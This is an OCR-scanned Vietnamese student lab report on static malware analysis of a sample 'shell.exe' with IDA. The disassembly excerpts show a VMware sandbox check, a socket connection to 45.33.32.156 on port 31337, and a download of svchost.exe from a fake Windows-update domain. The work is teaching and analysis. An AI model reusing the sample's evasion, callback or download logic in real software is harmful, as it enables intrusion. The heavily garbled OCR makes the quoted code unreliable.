1. Trang chủ
  2. » Luận Văn - Báo Cáo

Thực hành phân tích mã Độc ptit code analysis

18 0 0
Tài liệu được quét OCR, nội dung có thể không chính xác
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Tiêu đề Thực Hành Phân Tích Mã Độc Ptit Code Analysis
Tác giả Lê Xuân Mạnh, Nguyễn Hoàng Minh, Nguyễn Thành Nam, Lê Xuân Vương
Người hướng dẫn Đinh Trường Duy
Trường học Học Viện Công Nghệ Bưu Chính Viễn Thông
Chuyên ngành An Toàn Thông Tin
Thể loại Bài Tập
Năm xuất bản 2024
Thành phố Hà Nội
Định dạng
Số trang 18
Dung lượng 2,87 MB

Nội dung

Giới thiệu về IDA IDA Interactive Disassembler là một công cụ phân tích mã nguồn ngược mạnh mẽ và phô biến, thường được dùng trong lĩnh vực an toàn thông tin, kiếm thử bảo mật và phân

Trang 1

HOC VIEN CONG NGHE BUU CHINH VIEN THONG

KHOA AN TOAN THONG TIN

or (J -

2T ee

'THỰC HANH PHAN TICH MA BOC

ptit-code-analysis

Giang vién

Lớp môn học Nhóm bài tập

Hệ đào tạo

Thành viên

: Đinh Trường Duy 02

09 : Đại học chính quy

: Lê Xuân Mạnh

: Nguyễn Hoàng Minh : Nguyễn Thành Nam

: Lê Xuân Vương

Hà Nội, 10/2024

Trang 2

DANH SACH THANH VIEN

Lé Xuan Manh B21DCAT125

Nguyễn Hoàng Minh B2IDCATI5I1

Nguyễn Thành Nam B21DCAT139

Lé Xuan Vuong (C) B2IDCAT225

Trang 3

MUC LUC

cốc Số cố ẽ.ẽ 4

1.2 Chức năng chính của I[DA - Đi 2 20 120112011211 1521112111111 1111 1111181112 cay 4 1.3 Dữ liệu thu được khi sử dụng IDA - 2 222122211231 1211 121151125112, 4

Task 1: Xác định hàm kiém tra sandbox o c.cccccccccscscssesssesssesesecsvsvevevsvevsvsvseeevevevevees 5 Task 2: Kiém tra két néi mang xac dinh dia chi IP, công kết nối - se 9 Task 3: Xác định URL đáng nghi thực hiện tải file . 5-55 2222225‡22<x25s+2 II Task 4: Nhận dạng hàm main trong TÏÖA 5 2c 2 22122211121 111 111111111112 x+2 13

3

Trang 4

PHAN 1: LY THUYET PHAN 1: LY THUYET

1.1 Giới thiệu về IDA

IDA (Interactive Disassembler) là một công cụ phân tích mã nguồn ngược mạnh

mẽ và phô biến, thường được dùng trong lĩnh vực an toàn thông tin, kiếm thử bảo mật

và phân tích mã độc

Mục tiêu chính của IDA là hỗ trợ người đùng phân tích, đọc hiểu và trích xuất các chức năng từ một chương trình mà không cần mã nguồn gốc Đây là công cụ không thể thiếu trong phân tích ngược các phần mềm, đặc biệt là các chương trình không rõ nguồn sốc hoặc các mã độc hại

1.2 Chức năng chính của IDA

Dịch ngược mã (Disassembly): IDA chuyên mã máy thành mã Assembly đề người dùng có thê xem và phân tích từng lệnh trong chương trình Nhờ đó, người dùng có thể hiểu rõ cầu trúc của chương trình và các lệnh thực hiện

Hỗ trợ đa nền tảng: IDA có khả năng địch ngược mã trên nhiều nền tảng và kiến

trúc hệ thống như x86, x64, ARM, PowerPC, và MIPS Điều này rất hữu ích khi làm

việc với nhiều loại mã nhị phân khác nhau

Phân tích tĩnh và động: IDA cho phép người phân tích tĩnh và phân tích động với một số plugin và trình gỡ lỗi (debugger)

1.3 Dữ liệu thu được khi sử dụng [DA

- Ma Assembly cua chuong trinh

- Danh sách cac ham (API)

- Cac dé thi (graph) dé cho biết luồng hoạt động của mã độc

-_ Các chuỗi strings, file

- Cac ham import, export

Trang 5

PHAN 2: THUC HANH

PHAN 2: THUC HANH

Task 1: Xác định hàm kiểm tra sandbox

Cai dat IDA va str dung IDA đề phân tích chương trình “shell.exe”

ubuntu@ptit-code-analysis:~$ ls

Shell.exe shell.html ubuntu@ptit-code-analysis:~S /idafree7@_Linux.run

ubuntu@ptit-code-analysis:~S Ls

sShell.exe shell.html

SA «> 8h§h & 2 «© AO dott t~#eHX POO 7) ele) DHE

Library function J Regular function [ff instruction Data Unexplored External symbol

Functions window @ &% [Œ IpA view-A X Hex View-1 % [A] Structures X [£] Enums X ŠfimpotsX (ZExports X

Function name “

[F) nullsub_1

[¥) sub_401010

[7] sub_401180

[EX

[F) start

[F) sub_401520

[F) nullsub_2

[7] sub_401560

sub 401610

1 _ leonv_init

[7] sub_401640

[Z1 sub_401730

[F) TisCallback_1

ï TIscallback_0

Ï sub 4018F0

[F] sub_401900

loc_4014F4:

ï sub _401A00 «

ry Taree , loc_40150C:

a Graph overview oes add rsp, 28h

start endp

100.00% (-287,-46) (158,475) O08008FO 80000000004014FO: start (Synchronized with Hex View-1)

Trang 6

PHAN 2: THUC HANH

Look in: |fÊ8/home/ubuntu x.@OOf8EJ

@ computer Name x Size Type Date Modified

(BF ubuntu (& idafree-7.0 Folder 25 Oct .5:40:12

shell.html 548 KB html File 10 Apr .6:29:26

File name: _ |yo.html Files of type: | HTML files (*.html)

Lưu file phân tích dưới dang html:

File -> Produce File -> Create HTML -> Lưu file với tên yo.html

Kiểm tra thay đã xuất hiện file vừa lưu

uDUNTI tit-c e-ana = ¬

Do các mã độc thường sử dụng các API liên quan đến Registry đề phát hiện chương trình Sandbox ta sẽ thử kiểm tra các API trong phần Imports Kiểm tra với API RegOpenKeyExA ta nhận được kết quả sau

Trang 7

PHAN 2: THUC HANH %=) 000000 000000 RegCloseKey i is ADVAPI32 ADVAPI32

Am 000000 RegQueryValueExA ADVAPI32

=) 000000 RegSetValueExA ADVAPI32

000000 CloseHandle KERNEL32

8 000000 CreateFileA KERNEL32

ѧj 000000 CreateProcessA KERNEL32

ѧj 000000 CreateRemoteThread KERNEL32

Ñgj 000000 DeleteCriticalSection KERNEL32

ѧj 000000 EnterCriticalSection KERNEL32

XI 000000 GetComputerNameA KERNEL32

§=) 000000 GetCurrentProcess KERNEL32

ѧj 000000 GetCurrentProcessid KERNEL32

Ñgj 000000 GetCurrentThreadid KERNEL32

=) 000000 GetLastError KERNEL32

000000 GetStartupinfoA KERNEL32

&=) 000000 GetSystemTimeAsFileTime KERNEL32

Ñ 000000 GetTickCount KERNEL32

Ñ#j 000000 InitializeCriticalSection KERNEL32

Ñgj 000000 LeaveCriticalSection KERNEL32

a 000000 OpenProcess KERNEL32

8 000000 QueryPerformanceCounter KERNEL32

ѧj 000000 RtlAddFunctionTable KERNEL32

ѧj 000000 RtlCaptureContext KERNEL32

aa 000000 RtlLookupFunctionEntry KERNEL32

Ñã 000000 RtlVirtualUnwind KERNEL32

Ñã 000000 SetUnhandledExceptionFilter KERNEL32

=) 000000 Sleep KERNEL32

Ta thấy một đường dẫn liên quan đến VM Ware

SOFTWARE\\VMware, Inc.\\VMware Tools

al ca -=|

sub_403250 proc near

phkResult= qword ptr -128h

LpcbData= qword ptr -120h

Type= dword ptr -118h

cbData= dword ptr -114h

hKey= qword ptr -110h

Data= byte ptr -108h

mov [rsp+148h+phkResuLt], rax ; phkResult

lea rdx, aSoftwareVmware ; "“SOFTWARE\\VMware, Inc.\\VMware Tools" mov rcx, OFFFFFFFF80000002h ; hKey

test @ax, eax

I I Kéo xuống dưới ta thấy đây đúng là đoạn mã đề mã độc phát hiện ra môi trường ảo hoá Nếu phát hiện mã độc đang được chạy trên môi trường sandbox sẽ có một đoạn tin nhắn với tiêu đề “Message” kèm nội dung “Sandbox Deteted” được thông báo

Trang 8

PHAN 2: THUC HANH

Ý

rdx, Str2 we Program Files\\VMware\\VMware T rex, rl2 ; Stri

strcmp eax, eax short Loc_4032FD

mat

Ý = vvy

a =

r9d, r9d r8, Caption loc_4032FD:

rdx, Text call sub_402EA0

ecx, ecx cs:MessageBoxA short Loc 463302

Fan

loc 403362: ; hKey} |loc_40330F:

rcx, [rsp+148h+hKey] ea rex, Str ; "Failed to open the registry key.” cs:RegCloseKey call puts

short toc 403318 T

Sau khi tìm được hàm phát hiện sanbox 1a sub_403250 quay lai terminal thye hign grep két qua tir file yo.html

grep “sub 403250” yo.html

ubuntu@ptit-code-analysis:~$ grep "sub_403250" yo.html

call sub_403250

</span><span style="color:navy">sub_403250 </span><span style="color :#008040">proc near sub_403250 endp

</span>RUNTIME FUNCTION &lt;<span style="color:navy">rva sub 403250, \

Checkwork:

d for this Lab:

Trang 9

PHAN 2: THUC HANH

Task 2: Kiểm tra kết nối mạng xác định địa chỉ IP, công kết nối

Các kết nối mạng thường lién quan dén API socket ta sé kiém tra API nay 6 phan Imports

Address tị vưUvvv Ordinal Name nga Library tHờY CC

000000 free msvcrt

000000 fwrite msvcrt

Ñj 000000 getenv msvcrt

fz] 000000 malloc msvcrt

Ñ 000000 memcpy msvcrt

Ñị 000000 printf msvcrt

Ñ 000000 puts msvcrt

000000 signal msvcrt

000000 sprintf msvcrt

=] 000000 strcmp msvcrt

Ñ] 000000 strlen msvcrt

Ñgj 000000 strncmp msvcrt

Ñ 000000 Vfprintf msvcrt

=) 000000 ShellExecuteA SHELL32

000000 MessageBoxA USER32

=) 000000 InternetCloseHandle WININET

fa 000000 InternetOpenA WININET

al 000000 InternetOpenUrlA WININET

m 000000 InternetReadFile WININET

Ñị 000000 WSACleanup WS2 32

Ñg 000000 WSAStartup WS2 32

000000, closesocket WS2_ 32

000000 connect WS2_32

f=] 000000 freeaddrinfo WS2 32

Ñj 000000 getaddrinfo WS2_32

Ñgj 000000 htons WS2_32

Ñ 000000 inet_addr WS2 32

VÉ]

000000

Ta có thê thây hàm sub_ 40220 là hàm liên gọi socket

1data : 8889900690469620 extrn socket:qword ; CODE XREF: sub_402C20+4Atp .idata:0000000000409620 ; DATA XREF: sub_402€20+4Arr

Nhìn vào hàm sub_402C20 ta thấy các thông số đáng ngờ như 45.33.32.156 và 7A69h

Ta có thể đoán được rằng 45.33.32.156 chính là địa chỉ IP

Còn 7A69h day là ma hex sau khi đôi sang decimal nhận được kết quả 31337 đây chính

là công port

Enter hex numbers

7A69 16

= Convert | x Reset | TN Swap

Decimal number (5 digits)

31337

10

Trang 10

PHAN 2: THUC HANH

sub_482C20 proc near name= sockaddr ptr -1C0h WSAData= WSAData ptr -1B0h push r12

push rdi sub rsp, 1D8h xor eax, eax mov ecx, 66h lea rdi, [rsp+1E8h+WSAData]

lea rdx, [rsp+1E8h+WSAData] ; LpWSAData rep stosd

mov ecx, 262h ; wVersionRequested caLt cs:WSAStartup

mov r8d, 6 ; protocol mov edx, 1 ; type mov ecx, 2 ; af

mov qword ptr [rsp+1E8h+name.sa data+6], © caLt cs:socket

lea rex, cp ; "45.33.32.156"

mov [rsp+1E8h+name.sa_famiLy], 2 mov r12, rax

caLt cs:inet_addr mov ecx, 7A69h ; hostshort mov dword ptr [rsp+1E8h+name.sa data+2], eax call cs:htons

lea rdx, [rsp+1E8h+name] ; name mov r8d, 10h ; nameLen mov rex, r12 is mov word ptr [rsp+1E8h+name.sa data], ax call es:connect

inc eax jnz short loc_402CDO

Sau khi tim duge ip, port là 45.33.32.156 và 7A69h quay lại terminal thực hiện grep kết quả tu file yo.html

grep “45.33.32.156” yo.html

ubuntu@ptit-code-analysis:~$ grep "45.33.32.156" yo.html

</span><span style="color:navy">lea rcx, cp </span><span style="color:gray">; &quot;45.3 3.32.156&quot;

</span><span style="color:navy">cp db &#039;45.33.32.156&#039; ,0

grep “7A69h” yo.html

9h" yo.html span><span style="col

+

Trang 11

PHAN 2: THUC HANH

Task 3: Xác định URL đáng nghỉ thực hiện tải file

Đề mã độc tải file can imports cac API liên quan đến mở internet ta sẽ kiểm tra các API

đó 6 phan imports

Address AM vvvvvv Ordinal Name ypu Library reer 2

ѧj 000000 free msvcrt

ѧj 000000 fwrite msvcrt

Ñãj 000000 getenv msvcrt

ѧj 000000 malloc msvcrt

ѧj 000000 memcpy msvcrt

Ñ8j 000000 printf msvert

§ 000000 puts msvcrt

ѧj 000000 signal msvcrt

ѧj 000000 sprintf msvcrt

Ñÿj 000000 strcmp msvert

Ñ#j 000000 strlen msvcrt

Ñ#j 000000 strncmp msvcrt

§ 000000 viprintf msvert

iH) 000000 ShellExecuteA SHELL32

ѧj 000000 MessageBoxA USER32

Ñã¡ 000000 InternetCloseHandle WININET

WININET

ÑZj 000000 InternetOpenUrlA WININET

§=) 000000 InternetReadFile WININET

Sz) 000000 WSACleanup WS2 32

Re 000000 WSAStartup WS2 32

§=) 000000 closesocket WS2_32

§=) 000000 connect WS2_32

$=) 000000 freeaddrinfo WS2 32

000000 getaddrinfo WS2 32

000000 htons WS2 32

000000 inet_addr WS2 32

000000 socket WS2_32 *

Hàm goi la sub_402F40

.idata:00000000004095C0 extrn InternetOpenA:qword

idata:00000000004095C0 ; CODE XREF: sub_402F40+9Dtp -idata:00000000004095C0 ; DATA XREF: sub_402F40+9Dtr

tea rl2, [rsp+7A8h+szAgent]

tea r8, aWindowsUpdate7 ; “Windows-Update/7.6.7600.256 %s"

mov edx, 104h mov rex, r12 call sub_ 403220 mov rcx, r12 ; LpszAgent xor r9d, r9d ; LpszProxyBypass xor r8d, r8d ; LpszProxy mov edx, 1 ; dwAccessType mov [rsp+7A8h+duFLags], 6 ; dwFlags call es: InternetOpenA

mov [rsp+7A8ht+dwFlags], 80000000h ; dwFlags xor rod, rod ; dwHeadersLength xor r8d, r8d ; lpszHeaders mov [rsp+7A8h+dwContext], 6 ; dwContext mov r1l2, rax

lea rdx, szUrl ; “http: //ms-windows-update.com/svchost.ex"

mov rex, rax ; hInternet

call es:InternetOpenUrlaA mov r13, rax test rax, rax jnz short loc_40301E

1 ———_

Đoạn mã cô gắng kết nối đến một URL đề tải xuống một tài nguyên từ internet Sử dụng các hàm API của Windows để mở kết nối HTTP tới URL http:/ms-windows- update.com/svchost.exe đề thực hiện tải file hoặc các thao tác mạng khác

Trang 12

PHAN 2: THUC HANH

Sau khi tìm được URL ta thực hiện grep kết quả từ file yo.html

grep http://ms-windows-update.com/svchost.exe yo.html

ubuntu@ptit-code-analysis:~$ grep "“http://ms-windows-update.com" yo.html

lea rdx, szUrl </span><span style="color:gray">; &quot;http://ms-windows-update.com/svchost -ex&quot;

</span><span style="color:navy">szUrl db &#039;http: //ms-windows-update.com/svchos&#039;

Checkwork:

Results stored in < | student/1abtatner_xfer

sandb

r

ed for this Lab:

Trang 13

PHAN 2: THUC HANH

Task 4: Nhan dang ham main trong IDA

Kiém tra API GetstartupInfoA trong phan imports vi đây là hàm có gắng kiểm soát cách thực hoạt động của hệ thống

Address Ordinal Name ~ Library

Ma 000000 CloseHandle KERNEL32

§H 000000 CreateFileA KERNEL32

=) 000000 CreateProcessA KERNEL32

000000 CreateRemoteThread KERNEL32

§=) 000000 DeleteCriticalSection KERNEL32

ѧj 000000 EnterCriticalSection KERNEL32

Ñ#j 000000 GetComputerNameA KERNEL32

ѧj 000000 GetCurrentProcess KERNEL32

8§j 000000 GetCurrentProcessid KERNEL32

Ñã¡ 000000 GetCurrentThreadid KERNEL32

ѧj 000000 GetLastError KERNEL32

GetSystemTimeAsFileTime KERNEL32 GetTickCount KERNEL32 InitializeCriticalSection KERNEL32 InternetCloseHandle WININET InternetOpenA WININET InternetOpenUrlA WININET InternetReadFile WININET LeaveCriticalSection KERNEL32 MessageBoxA USER32 OpenProcess KERNEL32 QueryPerformanceCounter KERNEL32 RegCloseKey ADVAPI32

RegOpenKeyExA ADVAPI32

RegQueryValueExA ADVAPI32 RegSetValueExA ADVAPI32 RtlAddFunctionTable KERNEL32 DEC amtuca Canton werner 25

Ta thay API này được gọi bảo ham sub_401180

.idata: 00060000004093E8 extrn GetStartupInfoA:qword

idata:00060000004093E8 ; CODE XREF: sub_401180+2E3tp

DATA XREF: sub 401180+2E3tr

Sau khi kiém tra ham sub 401180 ta thấy đây có thê là hàm main vì nó gọi đến nhiều hàm khác trong chương trình

text :00060000000401180

text: 0000000000401180 sub_401180 proc near ; CODE XREF: sub 4014C0+16ip

text: 0000000000401180 ¡ start+l6ip

text :0000000000401180 ; DATA XREF:

text :0000000000401180

text: 0000000000401180 StartupInfo = _STARTUPINFOA ptr -9A8h

text: 0000000000401180

push r13 text :0006000000401182 push r12

text: 6000000000401184 push rbp

text: 0006000000401185 push rdi

text: 0000000000401186 push rsi

text: 0000000000401187 push rbx

text :0000000000401188 sub rsp, 98h

text: 600600000040115F mov ecx, 6Dh

text :0000000000401194 xor eax, eax

text: 0000000000401196 lea r8, [rsp+0C8h+StartupInfo]

„ text: 809809668046119B mov rdi, r8

text: 000000000040119E rep stosq

text: 00000000004011A1 mov rdi, cs:off_405850

text: 00000000004011A8 mov rod, [rdi]

text :00000000004011AB test rod, r9d

text :00000000004011AE jnz toc 481460

text: 60000000004011B4

text: 00000000004011B4 loc _4011B4: ; CODE XREF: sub _401180+2E9:j

text: 00000000004011B4 mov rax, gs:30h

text :60060600004011BD mov rbx, cs:off_4657C6

text: 00000000004011C4 mov rsi, [rax+8]

text: 00000000004011C8 xor ebp, ebp

text :00000000004011CA mov r12, cs:Sleep

text :00000000004011D1 jmp short loc_4011E9

Ngày đăng: 18/02/2025, 16:24

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN